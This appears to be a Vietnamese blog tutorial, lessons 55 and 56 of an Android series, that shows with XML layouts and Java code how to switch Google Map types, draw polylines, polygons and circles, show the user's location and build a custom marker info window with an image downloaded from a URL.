Trước tiên bạn bổ sung thêm Spinner để cho phép hiển thị kiểu Map theo yêu cầu của người sử dụng:

android_56_1Tiếp tục với Project LearnGoogleMap, bạn tiến hành chỉnh sửa Layout main Activity như sau:


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/LinearLayout1"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context="tranduythanh.com.learngooglemap.MainActivity" >

<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content" >

<TextView
android:id="@+id/textView1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Chọn kiểu Map:" />

<Spinner
android:id="@+id/spinner_map_type"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_weight="1" />

</LinearLayout>

<fragment
android:id="@+id/map"
android:layout_width="match_parent"
android:layout_height="match_parent"
class="com.google.android.gms.maps.MapFragment"
/>

</LinearLayout>

Tiếp tục bổ sung string-array cho strings.xml để lưu trữ các cách hiển thị Map, đặt tên array này là maps_type:


<string-array name="maps_type">
<item >MAP_TYPE_NONE</item>
<item >MAP_TYPE_NORMAL</item>
<item >MAP_TYPE_SATELLITE</item>
<item >MAP_TYPE_HYBRID</item>
<item >MAP_TYPE_TERRAIN</item>
</string-array>

Cuối cùng trong MainActivity, tiến hành hiệu chỉnh coding để tương tác với Spinner, tương ứng với kiểu chọn lựa nào thì hiển thị Map với chế độ đó:


Spinner spinner_maps_type=(Spinner) findViewById(R.id.spinner_map_type);
String arrMap[]=getResources().getStringArray(R.array.maps_type);
ArrayAdapter<String> adapterMap=new ArrayAdapter<>
(this, android.R.layout.simple_spinner_item, arrMap);
adapterMap.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
spinner_maps_type.setAdapter(adapterMap);
spinner_maps_type.setOnItemSelectedListener(new OnItemSelectedListener() {

@Override
public void onItemSelected(AdapterView<?> arg0, View arg1,
int arg2, long arg3) {
int type=GoogleMap.MAP_TYPE_NORMAL;
switch(arg2)
{
case 0:
type=GoogleMap.MAP_TYPE_NONE;
break;
case 1:
type=GoogleMap.MAP_TYPE_NORMAL;
break;
case 2:
type=GoogleMap.MAP_TYPE_SATELLITE;
break;
case 3:
type=GoogleMap.MAP_TYPE_TERRAIN;
break;
case 4:
type=GoogleMap.MAP_TYPE_HYBRID;
break;
}
map.setMapType(type);
}

@Override
public void onNothingSelected(AdapterView<?> arg0) {
}
});

Khi chạy ứng dụng lên ta sẽ có các kết quả sau:android_56_2– Tiến hành vẽ các đối tượng Shape lên Google Map: Tui sẽ hướng dẫn cách vẽ    Polyline, Polygons, Circle trên Map, dưới đây là một số hình minh họa:

android_56_3

*polyline:

– Để vẽ và đường polyline (những đường thẳng liên tục những không khép kín)

 

Ta khai báo đối tượng PolylineOptions :

PolylineOptions plOption=new  PolylineOptions();

Sau đó đưa tất cả các tọa độ vào PolylineOptions rồi đẩy vào hàm :

Polyline polyline= map.addPolyline(plOption);

Hàm addPolyline sẽ trả về 1 Polyline, ta có thể hiệu chỉnh đối tượng này như sau:

– Thiết lập màu đường kẻ: polyline.setColor(Color.RED);

– Thiết lập độ dày đường kẻ: polyline.setWidth(5)

– Thiết lập độ chồng lấp: polyline.setZIndex(1);

*Polygon:

Vẽ các đường line liên tục và khép kín

Tương tự ta tạo đối tượng : PolygonOptions

PolygonOptions pgOption=new PolygonOptions();

Đẩy tất cả tọa độ vào PolygonOptions sau đó đưa vào hàm:

Polygon polyGon= map.addPolygon(pgOption);

Hàm addPolygon trả về một đối tượng Polygon , ta có thể hiệu chỉnh:

– Thiết lập màu đường viền:polyGon.setStrokeColor(Color.BLUE);

– Thiết lập màu nền: polyGon.setFillColor(Color.YELLOW);

– Thiết lập độ dày: polyGon.setStrokeWidth(5);

 *Circle:

Vẽ đường tròn

tương tự ta khai báo đối tượng CircleOptions:

CircleOptions optionCircle=new CircleOptions();

Thiết lập tọa độ trung tâm và bán kính:

optionCircle.center(latCenter).radius(50);

Sau đó đưa vào hàm:

Circle cir=map.addCircle(optionCircle);

addCircle trả về một Circle, ta có thể thiết lập:

– Màu đường viền:cir.setStrokeColor(Color.BLUE);

– Màu nền : cir.setFillColor(Color.RED);

*** Bây giờ ta bổ sung Menu gồm 3 phần tử:


<menu xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
tools:context="tranduythanh.com.learngooglemap.MainActivity" >
<item android:id="@+id/mnuveduongthang" android:title="Vẽ đường thẳng"></item>
<item android:id="@+id/mnuvepolyline" android:title="Vẽ polyline"></item>
<item android:id="@+id/mnuvepolygon" android:title="Vẽ Polygon"></item>

</menu>

Xử lý coding chọn menu Item trong MainActivity:


PolylineOptions plOption=new  PolylineOptions();

int typedraw;

public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

public boolean onOptionsItemSelected(MenuItem item) {
if(item.getItemId()==R.id.mnuveduongthang)
typedraw=0;
else if(item.getItemId()==R.id.mnuvepolyline)
typedraw=1;
else
typedraw=2;
latPrevious=null;
return super.onOptionsItemSelected(item);
}

Tiếp theo bổ sung sự kiện OnMapClickListener cho Map:


map.setOnMapClickListener(new OnMapClickListener() {

@Override
public void onMapClick(LatLng arg0) {
if(typedraw==0)
{
CircleOptions optionCircle=new CircleOptions();
optionCircle.center(arg0).radius(50);
Circle cir=map.addCircle(optionCircle);
cir.setFillColor(Color.RED);
cir.setStrokeColor(Color.BLUE);
if(latPrevious==null)
latPrevious=arg0;
//xử lý vẽ đường thẳng
else if(latPrevious!=null)
{
PolylineOptions optionLine=new PolylineOptions();
optionLine.add(latPrevious);
optionLine.add(arg0);
Polyline line=map.addPolyline(optionLine);
line.setColor(Color.BLUE);
line.setWidth(1);
latPrevious=null;
}

}
else if(typedraw==1)
{
if(latPrevious==null)
plOption=new PolylineOptions();
if(latPrevious!=null)
{

plOption.add(latPrevious);
plOption.add(arg0);
Polyline polyline= map.addPolyline(plOption);
polyline.setColor(Color.RED);

}
latPrevious=arg0;
}
else if(typedraw==2)
{
PolygonOptions pgOption=new PolygonOptions();
double h1=0.5;
double h2=0.25;
LatLng center=arg0;
LatLng p1=new LatLng(center.latitude-h1, center.longitude);
LatLng p2=new LatLng(center.latitude-h2, center.longitude-h2);
LatLng p3=new LatLng(center.latitude-h2, center.longitude-h1);
LatLng p4=new LatLng(center.latitude+h2, center.longitude-h2);
LatLng p5=new LatLng(center.latitude+h1, center.longitude-h1);
LatLng p6=new LatLng(center.latitude+h2, center.longitude);
LatLng p7=new LatLng(center.latitude+h1, center.longitude+h1);
LatLng p8=new LatLng(center.latitude+h2, center.longitude+h2);
LatLng p9=new LatLng(center.latitude-h2, center.longitude+h1);
LatLng p10=new LatLng(center.latitude-h2, center.longitude+h2);
pgOption.add(p1);
pgOption.add(p2);
pgOption.add(p3);
pgOption.add(p4);
pgOption.add(p5);
pgOption.add(p6);
pgOption.add(p7);
pgOption.add(p8);
pgOption.add(p9);
pgOption.add(p10);
pgOption.add(p1);
Polygon polyGon= map.addPolygon(pgOption);
polyGon.setFillColor(Color.YELLOW);
polyGon.setStrokeColor(Color.BLUE);
polyGon.setStrokeWidth(5);
}


}
});
}

Chạy lên ta có kết quả như hình mẫu ở trên.

Bạn có thể tải source code mẫu ở đây:

http://www.mediafire.com/download/zr21zmt87eo51i0/LearnGoogleMap_shape.rar

Chúc các bạn thành công!

Bài 55: Google Maps Android API – phần 3


Bài 53, 54 bạn đã biết cách đưa Google Map ra ứng dụng Android. Trong bài này Tui sẽ hướng dẫn các bạn cách tương tác nâng cao với Google Map.

Ta tiếp tục với Project LearnGoogleMap ở bài 54.

Để truy xuất đối tượng Google Map trong XML layout ta làm như sau:


GoogleMap map = ((MapFragment)getFragmentManager().findFragmentById(R.id.map)).getMap();

Thông thường khi tải Google Map thường tốn thời gian chờ, vì vậy ta nên dùng Progress control để cho người sử dụng biết là chương trình đang chạy.

GoogleMap cung cấp sự kiện OnMapLoadedCallback để cho phép ta kiểm tra xem Map đã được tải về ứng dụng hoàn thành hay chưa, ta có thể dựa vào sự kiện này để kiểm tra.

Ta sửa code MainActivity như sau:


package tranduythanh.com.learngooglemap;

import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.MapFragment;
import com.google.android.gms.maps.GoogleMap.OnMapLoadedCallback;

import android.app.Activity;
import android.app.ProgressDialog;
import android.os.Bundle;

public class MainActivity extends Activity {

//Khai báo đối tượng Google Map
GoogleMap map;
//Khai báo Progress Bar dialog để làm màn hình chờ
ProgressDialog myProgress;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//Tạo Progress Bar
myProgress = new ProgressDialog(this);
myProgress.setTitle("Đang tải Map ...");
myProgress.setMessage("Vui lòng chờ...");
myProgress.setCancelable(true);
//Hiển thị Progress Bar
myProgress.show();
//Lấy đối tượng Google Map ra:
map = ((MapFragment)getFragmentManager().
findFragmentById(R.id.map)).getMap();
//thiết lập sự kiện đã tải Map thành công
map.setOnMapLoadedCallback(new OnMapLoadedCallback() {

@Override
public void onMapLoaded() {
//Đã tải thành công thì tắt Dialog Progress đi
myProgress.dismiss();
}
});
map.setMapType(GoogleMap.MAP_TYPE_NORMAL);
map.getUiSettings().setZoomControlsEnabled(true);
map.setMyLocationEnabled(true);
}
}

Khởi động ứng dụng ta được như sau:

android_55_1– Ta cần biết thêm số chức năng của Google Map như sau:

+ Làm sao biết biết được vị trí hiện tại của ta để di chuyển Map đúng vị trí

+ Cách xoay , quay Map như thế nào

+ Đường đi giữa các địa điểm ra sao….

* Để biết được vị trí hiện tại của ta trên bản đồ ta cần bổ sung thêm Manifest các thông số sau:


<uses-feature android:name="android.hardware.location" android:required="true" />
<uses-feature android:name="android.hardware.location.gps" android:required="true" />

Trong MainActivity bạn bổ sung thêm hàm “TuiDangODau” :


private void TuiDangODau() {

LocationManager locationManager = (LocationManager) getSystemService(LOCATION_SERVICE);
Criteria criteria = new Criteria();

Location lastLocation = locationManager.getLastKnownLocation(locationManager.getBestProvider(criteria, false));
if (lastLocation != null)
{
map.animateCamera(CameraUpdateFactory.newLatLngZoom(
new LatLng(lastLocation.getLatitude(), lastLocation.getLongitude()), 13));

CameraPosition cameraPosition = new CameraPosition.Builder()
.target(new LatLng(lastLocation.getLatitude(), lastLocation.getLongitude()))      // Sets the center of the map to location user
.zoom(15)                   // Sets the zoom
.bearing(90)                // Sets the orientation of the camera to east
.tilt(40)                   // Sets the tilt of the camera to 30 degrees
.build();                   // Creates a CameraPosition from the builder
map.animateCamera(CameraUpdateFactory.newCameraPosition(cameraPosition));
}
}

Sau đó trong hàm OnCreate, ta gọi bổ sung thêm hàm TuiDangODau:


protected void onCreate(Bundle savedInstanceState) {
//.....

//Thêm dòng lệnh này:
TuiDangODau();
}

Khi chạy ứng dụng lên, phần mềm sẽ tự động đưa ta về đúng vị trí trên bản đồ …:

android_55_2Bạn muốn thêm ghi chú cho địa điểm của bạn thì bổ sung tiếp MarkerOptions, bạn sửa lại hàm TuiDangODau như sau:


private void TuiDangODau() {

LocationManager locationManager = (LocationManager) getSystemService(LOCATION_SERVICE);
Criteria criteria = new Criteria();

Location lastLocation = locationManager.getLastKnownLocation(locationManager.getBestProvider(criteria, false));
if (lastLocation != null)
{
LatLng latLng=new LatLng(lastLocation.getLatitude(), lastLocation.getLongitude());
map.animateCamera(CameraUpdateFactory.newLatLngZoom(latLng, 13));

CameraPosition cameraPosition = new CameraPosition.Builder()
.target(latLng)      // Sets the center of the map to location user
.zoom(15)                   // Sets the zoom
.bearing(90)                // Sets the orientation of the camera to east
.tilt(40)                   // Sets the tilt of the camera to 30 degrees
.build();                   // Creates a CameraPosition from the builder
map.animateCamera(CameraUpdateFactory.newCameraPosition(cameraPosition));
//Thêm MarketOption cho Map:
MarkerOptions option=new MarkerOptions();
option.title("Chỗ Tui đang ngồi đó");
option.snippet("Gần làng SOS");
option.position(latLng);
Marker currentMarker= map.addMarker(option);
currentMarker.showInfoWindow();
}
}

Tiến hành chạy lại ứng dụng ta có kết quả như hình dưới đây:

android_55_3-Tuy nhiên trong nhiều trường hợp ta cần hiệu chỉnh lại MarkerOption theo ý của Ta cho nó đẹp và phục vụ những mục đích khác… Do đó ta cần phải biết hiệu chỉnh InfoWindowAdapter:

Giả sử ta sửa lại Marker Option như sau:

android_55_4Bạn quan sát khi Tui nhấn ngón tay vào núm màu xám xanh thì nó hiển thị lên MarkerOption theo định dạng của riêng Tui, cái này rất hay và tiện dung trong việc quảng bá thương hiệu của một địa điểm nào đó, với những thông tin thật chi tiết và hữu ích.

Bạn để ý Marker Tui hiển thị các thông tin sau:

– Hình Tui tải từ link trên Facebook

– Kinh độ (longtitude)

– Vĩ độ (latitude)

– Title

– Snippet

Bạn thấy háo hức không? Tui thấy rất là háo hức khi các bạn làm được như trên. Nó quá hay và tiện dụng.

Vậy làm sao để có thể coding cho nó hiểu như trên?

Tiếp tục với bài LearnGoogleMap ở trên, bạn tạo thêm lớp ImageLoadTask để tải hình từ Facebook, MyInfoWindowAdapter custom_info.xml để hiển thị thông tin Marker theo ý mình:

android_55_5– Layout để hiển thị Marker Option theo ý mình như sau (custom_info.xml):


<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical" >

<ImageView
android:id="@+id/img_drthanh"
android:layout_width="400dp"
android:layout_height="200dp"
android:src="@drawable/common_full_open_on_phone" />

<TextView
android:id="@+id/tv_lat"
android:layout_width="wrap_content"
android:layout_height="wrap_content" />

<TextView
android:id="@+id/tv_lng"
android:layout_width="wrap_content"
android:layout_height="wrap_content" />

<TextView
android:id="@+id/textView1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="title:" />

<TextView
android:id="@+id/tv_title"
android:layout_width="wrap_content"
android:layout_height="wrap_content" />

<TextView
android:id="@+id/textView3"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="snippet:" />

<TextView
android:id="@+id/tv_snippet"
android:layout_width="wrap_content"
android:layout_height="wrap_content" />

</LinearLayout>

Lớp ImageLoadTask để tải hình ảnh từ Facebook về sau đó hiển thị lên Custom Marker Option như sau:


package tranduythanh.com.learngooglemap;

import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;

import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.model.Marker;

import android.app.Activity;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.AsyncTask;

public class ImageLoadTask extends AsyncTask<Void, Void, Bitmap> {

//Link url hình ảnh bất kỳ
private String url;
private GoogleMap map;
private Activity context;
private boolean isCompleted=false;
private Marker currentMarker;

public boolean isCompleted() {
return isCompleted;
}

public void setCompleted(boolean isCompleted) {
this.isCompleted = isCompleted;
}

public ImageLoadTask(Activity context, String url,GoogleMap map,Marker currentMarker) {
this.context=context;
this.url = url;
this.map=map;
this.currentMarker=currentMarker;
}

@Override
protected Bitmap doInBackground(Void... params) {
try {
//Tiến hành tạo đối tượng URL
URL urlConnection = new URL(url);
//Mở kết nối
HttpURLConnection connection = (HttpURLConnection) urlConnection
.openConnection();
connection.setDoInput(true);
connection.connect();
//Đọc dữ liệu
InputStream input = connection.getInputStream();
//Tiến hành convert qua hình ảnh
Bitmap myBitmap = BitmapFactory.decodeStream(input);
if(myBitmap==null)
return null;
return myBitmap;
} catch (Exception e)
{
e.printStackTrace();
}
return null;
}

@Override
protected void onPostExecute(Bitmap result) {
super.onPostExecute(result);
//thiết lập Info cho Map khi tải hình hoàn tất
map.setInfoWindowAdapter(new MyInfoWindowAdapter(context,result));
//tiến hành hiển thị lên Custom marker option lên Map:
currentMarker.showInfoWindow();
}
}

– Chú ý dòng lệnh 67, 69 là để gán Custom cho Map và hiển thị nó lên.

Coding MyInfoWindowAdapter để custom layout cho Marker option:


package tranduythanh.com.learngooglemap;

import android.app.Activity;
import android.graphics.Bitmap;
import android.view.View;
import android.widget.ImageView;
import android.widget.TextView;

import com.google.android.gms.maps.GoogleMap.InfoWindowAdapter;
import com.google.android.gms.maps.model.LatLng;
import com.google.android.gms.maps.model.Marker;


public class MyInfoWindowAdapter implements InfoWindowAdapter {

private Activity context;
private Bitmap btmp;
public MyInfoWindowAdapter(Activity context,Bitmap result)
{
this.context=context;
this.btmp=result;
}
@Override
public View getInfoContents(Marker arg0) {
// Getting view from the layout file info_window_layout
View v = this.context.getLayoutInflater().inflate(R.layout.custom_info, null);

// Getting the position from the marker
LatLng latLng = arg0.getPosition();

// Getting reference to the TextView to set latitude
TextView tvLat = (TextView) v.findViewById(R.id.tv_lat);

// Getting reference to the TextView to set longitude
TextView tvLng = (TextView) v.findViewById(R.id.tv_lng);

TextView tvTitle = (TextView) v.findViewById(R.id.tv_title);

TextView tvSnippet = (TextView) v.findViewById(R.id.tv_snippet);

ImageView imgdrthanh=(ImageView) v.findViewById(R.id.img_drthanh);

// Setting the latitude
tvLat.setText("Latitude:" + latLng.latitude);

// Setting the longitude
tvLng.setText("Longitude:"+ latLng.longitude);

tvTitle.setText(arg0.getTitle());
tvSnippet.setText(arg0.getSnippet());
imgdrthanh.setImageBitmap(btmp);
return v;
}

@Override
public View getInfoWindow(Marker arg0) {

return null;
}

}

– Cuối cùng chỉnh sửa lại MainActivity như sau:


package tranduythanh.com.learngooglemap;

import com.google.android.gms.common.api.GoogleApiClient;
import com.google.android.gms.maps.CameraUpdateFactory;
import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.MapFragment;
import com.google.android.gms.maps.GoogleMap.OnMapLoadedCallback;
import com.google.android.gms.maps.model.BitmapDescriptorFactory;
import com.google.android.gms.maps.model.CameraPosition;
import com.google.android.gms.maps.model.LatLng;
import com.google.android.gms.maps.model.Marker;
import com.google.android.gms.maps.model.MarkerOptions;

import android.app.Activity;
import android.app.ProgressDialog;
import android.location.Criteria;
import android.location.Location;
import android.location.LocationManager;
import android.os.Bundle;

public class MainActivity extends Activity {

//Khai báo đối tượng Google Map
GoogleMap map;
//Khai báo Progress Bar dialog để làm màn hình chờ
ProgressDialog myProgress;
GoogleApiClient googleApiClient;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//Tạo Progress Bar
myProgress = new ProgressDialog(this);
myProgress.setTitle("Đang tải Map ...");
myProgress.setMessage("Vui lòng chờ...");
myProgress.setCancelable(true);
//Hiển thị Progress Bar
myProgress.show();
//Lấy đối tượng Google Map ra:
map = ((MapFragment)getFragmentManager().
findFragmentById(R.id.map)).getMap();
//thiết lập sự kiện đã tải Map thành công
map.setOnMapLoadedCallback(new OnMapLoadedCallback() {

@Override
public void onMapLoaded() {
//Đã tải thành công thì tắt Dialog Progress đi
myProgress.dismiss();
}
});
map.setMapType(GoogleMap.MAP_TYPE_NORMAL);
map.getUiSettings().setZoomControlsEnabled(true);
map.setMyLocationEnabled(true);
//lấy lấy được vị trí cuối cùng:

TuiDangODau();
}
private void TuiDangODau() {

LocationManager locationManager = (LocationManager) getSystemService(LOCATION_SERVICE);
Criteria criteria = new Criteria();

Location lastLocation = locationManager.getLastKnownLocation(locationManager.getBestProvider(criteria, false));
if (lastLocation != null)
{
LatLng latLng=new LatLng(lastLocation.getLatitude(), lastLocation.getLongitude());
map.animateCamera(CameraUpdateFactory.newLatLngZoom(latLng, 13));

CameraPosition cameraPosition = new CameraPosition.Builder()
.target(latLng)      // Sets the center of the map to location user
.zoom(15)                   // Sets the zoom
.bearing(90)                // Sets the orientation of the camera to east
.tilt(40)                   // Sets the tilt of the camera to 30 degrees
.build();                   // Creates a CameraPosition from the builder
map.animateCamera(CameraUpdateFactory.newCameraPosition(cameraPosition));
//Thêm MarketOption cho Map:
MarkerOptions option=new MarkerOptions();
option.title("Chỗ Tui đang ngồi đó");
option.snippet("Gần làng SOS");
option.position(latLng);
option.icon(BitmapDescriptorFactory.defaultMarker(BitmapDescriptorFactory.HUE_VIOLET));
Marker currentMarker= map.addMarker(option);

ImageLoadTask imgTask=new ImageLoadTask(this,"https://scontent-a-lax.xx.fbcdn.net/hphotos-xpa1/v/t1.0-9/1488744_806006112761224_104751868_n.jpg?oh=18c334e98bdbc3454a0b72be9dc3f7dc&oe=55417543",map,currentMarker);
imgTask.execute();
}
}
}

Bạn để ý dòng lệnh 84, là dòng Tui gọi tải hình từ Facebook về, bạn có thể đổi link bất kỳ. Ở đây Tui truyền tham chiếu Map và MarkerOption qua Custom Adapter để hiển thị theo ý mình.

Bạn có thể tải source code phần Custom Marker Option ở đây:

http://www.mediafire.com/download/cha8toku8386wet/LearnGoogleMap_custom_marker_option.rar

Như vậy bạn đã biết được thao tác nâng cao với Google Map control, bài tiếp theo Tui sẽ hướng dẫn các bạn cách sử dụng các Autoshape trên Map (line, polyline, Rectangle, circle…)

Bạn cần phải làm lại bài này nhiều lần để hiểu được cơ chế làm việc của nó, đặc biệt là cách Custom Layout cho marker Option.

Chúc các bạn thành công

Follow

Get every new post delivered to your Inbox.

Join 1,003 other followers

%d bloggers like this: